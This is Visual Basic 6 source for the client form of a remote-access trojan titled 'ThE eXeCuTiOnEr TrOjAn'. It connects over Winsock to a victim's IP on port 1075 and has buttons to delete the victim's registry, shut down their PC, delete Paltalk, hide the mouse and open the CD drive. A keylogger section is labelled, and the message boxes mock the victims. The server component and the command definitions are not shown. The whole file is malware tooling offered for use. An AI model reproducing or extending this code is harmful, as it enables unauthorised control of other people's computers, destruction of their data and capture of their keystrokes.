VERSION 5.00 Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX" Begin VB.Form Form1 BackColor = &H00404040& BorderStyle = 1 'Fixed Single Caption = "ThE eXeCuTiOnEr TrOjAn" ClientHeight = 6795 ClientLeft = 45 ClientTop = 330 ClientWidth = 6135 ForeColor = &H00FFFFFF& Icon = "trojan-client.frx":0000 LinkTopic = "Form1" MaxButton = 0 'False ScaleHeight = 6795 ScaleWidth = 6135 StartUpPosition = 3 'Windows Default Begin VB.CommandButton Command14 BackColor = &H00FFFFFF& Caption = "Beep Speakers" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 4440 Style = 1 'Graphical TabIndex = 16 Top = 3600 Width = 1215 End Begin VB.CommandButton Command13 BackColor = &H00FFFFFF& Caption = "Delete Paltalk" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 3000 Style = 1 'Graphical TabIndex = 15 Top = 3600 Width = 1215 End Begin VB.CommandButton Command12 BackColor = &H00FFFFFF& Caption = "Close Paltalk" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 1560 Style = 1 'Graphical TabIndex = 14 Top = 3600 Width = 1215 End Begin VB.CommandButton Command11 BackColor = &H00FFFFFF& Caption = "STOP" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = -1 'True Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 615 Left = 120 Style = 1 'Graphical TabIndex = 13 Top = 6000 Width = 1215 End Begin VB.CommandButton Command10 BackColor = &H00FFFFFF& Caption = "START" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = -1 'True Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 615 Left = 120 Style = 1 'Graphical TabIndex = 12 Top = 5160 Width = 1215 End Begin VB.TextBox Text1 BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 1695 Left = 1560 MultiLine = -1 'True TabIndex = 11 Top = 5040 Width = 4455 End Begin VB.CommandButton Command9 BackColor = &H00FFFFFF& Caption = "Show IP's" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = -1 'True Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 495 Left = 0 Style = 1 'Graphical TabIndex = 10 Top = 1920 Width = 1335 End Begin VB.CommandButton Command8 BackColor = &H00FFFFFF& Caption = "Close/cd-rom" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 4440 Style = 1 'Graphical TabIndex = 8 Top = 2640 Width = 1215 End Begin VB.CommandButton Command7 BackColor = &H00FFFFFF& Caption = "Open/cd-rom" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 3000 Style = 1 'Graphical TabIndex = 7 Top = 2640 Width = 1215 End Begin VB.CommandButton Command6 BackColor = &H00FFFFFF& Caption = "Delete Registry" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 4440 Style = 1 'Graphical TabIndex = 6 Top = 1680 Width = 1215 End Begin VB.CommandButton Command5 BackColor = &H00FFFFFF& Caption = "Show Mouse" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 3000 Style = 1 'Graphical TabIndex = 5 Top = 1680 Width = 1215 End Begin VB.CommandButton Command4 BackColor = &H00FFFFFF& Caption = "Hide Mouse" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 1560 Style = 1 'Graphical TabIndex = 4 Top = 1680 Width = 1215 End Begin VB.CommandButton Command3 BackColor = &H00FFFFFF& Caption = "Shutdown Computer" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 0 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 735 Left = 1560 Style = 1 'Graphical TabIndex = 3 Top = 2640 Width = 1215 End Begin VB.CommandButton Command2 BackColor = &H00FFFFFF& Caption = "Disconnect" BeginProperty Font Name = "MS Sans Serif" Size = 9.75 Charset = 0 Weight = 700 Underline = -1 'True Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 495 Left = 0 Style = 1 'Graphical TabIndex = 2 Top = 4320 Width = 1335 End Begin VB.CommandButton Command1 BackColor = &H00FFFFFF& Caption = "Connect" BeginProperty Font Name = "MS Sans Serif" Size = 9.75 Charset = 0 Weight = 700 Underline = -1 'True Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 495 Left = 0 Style = 1 'Graphical TabIndex = 1 Top = 3480 Width = 1335 End Begin MSWinsockLib.Winsock Winsock1 Left = 1560 Top = 4440 _ExtentX = 741 _ExtentY = 741 _Version = 393216 End Begin VB.TextBox txtAddress Height = 375 Left = 0 TabIndex = 0 Text = "127.0.0.1" ToolTipText = "Enter the victims IP here...Then hit Connect!" Top = 2760 Width = 1335 End Begin VB.Line Line13 BorderColor = &H00FFFFFF& X1 = 1440 X2 = 0 Y1 = 6720 Y2 = 6720 End Begin VB.Line Line12 BorderColor = &H00FFFFFF& X1 = 6120 X2 = 6120 Y1 = 6600 Y2 = 6840 End Begin VB.Line Line11 BorderColor = &H00FFFFFF& X1 = 1440 X2 = 1440 Y1 = 6480 Y2 = 6840 End Begin VB.Line Line10 BorderColor = &H00FFFFFF& X1 = 1440 X2 = 1440 Y1 = 4920 Y2 = 6720 End Begin VB.Line Line9 BorderColor = &H00FFFFFF& X1 = 6120 X2 = 6120 Y1 = 4920 Y2 = 6720 End Begin VB.Line Line8 BorderColor = &H00FFFFFF& X1 = 5640 X2 = 6240 Y1 = 4920 Y2 = 4920 End Begin VB.Line Line7 BorderColor = &H00FFFFFF& X1 = 5760 X2 = 6120 Y1 = 1440 Y2 = 1440 End Begin VB.Line Line6 BorderColor = &H00FFFFFF& X1 = 5040 X2 = 5760 Y1 = 1440 Y2 = 1440 End Begin VB.Line Line5 BorderColor = &H00FFFFFF& X1 = 1440 X2 = 5880 Y1 = 4920 Y2 = 4920 End Begin VB.Line Line4 BorderColor = &H00FFFFFF& X1 = 1440 X2 = 0 Y1 = 4920 Y2 = 4920 End Begin VB.Label Label1 BackColor = &H00404040& Caption = "KEYLOGGER" BeginProperty Font Name = "MS Sans Serif" Size = 9.75 Charset = 0 Weight = 700 Underline = -1 'True Italic = 0 'False Strikethrough = 0 'False EndProperty ForeColor = &H00FFFFFF& Height = 255 Left = 3000 TabIndex = 9 Top = 4560 Width = 1455 End Begin VB.Line Line3 BorderColor = &H00FFFFFF& X1 = 1440 X2 = 5040 Y1 = 1440 Y2 = 1440 End Begin VB.Line Line2 BorderColor = &H00FFFFFF& X1 = 1440 X2 = 0 Y1 = 1440 Y2 = 1440 End Begin VB.Line Line1 BorderColor = &H00FFFFFF& X1 = 1440 X2 = 1440 Y1 = 1440 Y2 = 4920 End End Attribute VB_Name = "Form1" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Sub Command1_Click() Winsock1.RemoteHost = txtAddress.Text Winsock1.RemotePort = 1075 Winsock1.Connect If Winsock1.State = sckConnected Then MsgBox " You are now connected!!! " End Sub Private Sub Command12_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (closepal) MsgBox "You just closed their Paltalk..lol" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command13_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (delpal) MsgBox "woohoo you just deleted their paltalk" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command14_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (speakers) MsgBox "Their gonna get a headache now, lol" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command2_Click() Winsock1.Close If Winsock1.State = sckClosed Then MsgBox "You are now Disconnected" End Sub Private Sub Command3_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (shutdown) MsgBox "You just shutdown their PC, lol" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command4_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (hidemouse) MsgBox "lol now they cant find their mouse" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command5_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (showmouse) MsgBox "awww... your so kind, now they can find their mouse again" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command6_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (DelReg) MsgBox "You show no mercy... just deleted their registry" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command7_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (opencd) MsgBox "weeee...opened their cd-rom drive" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command8_Click() If Winsock1.State = sckConnected Then Winsock1.SendData (closecd) MsgBox "weeee....closed their cd-rom drive" ElseIf Not Winsock1.State = sckConnected Then MsgBox "Your not connected dumbass!!!!" End If End Sub Private Sub Command9_Click() Open "c:\ice.bat" For Output As #1 Print #1, "netstat -n" Close #1 x = Shell("c:\ice.bat", 1) End Sub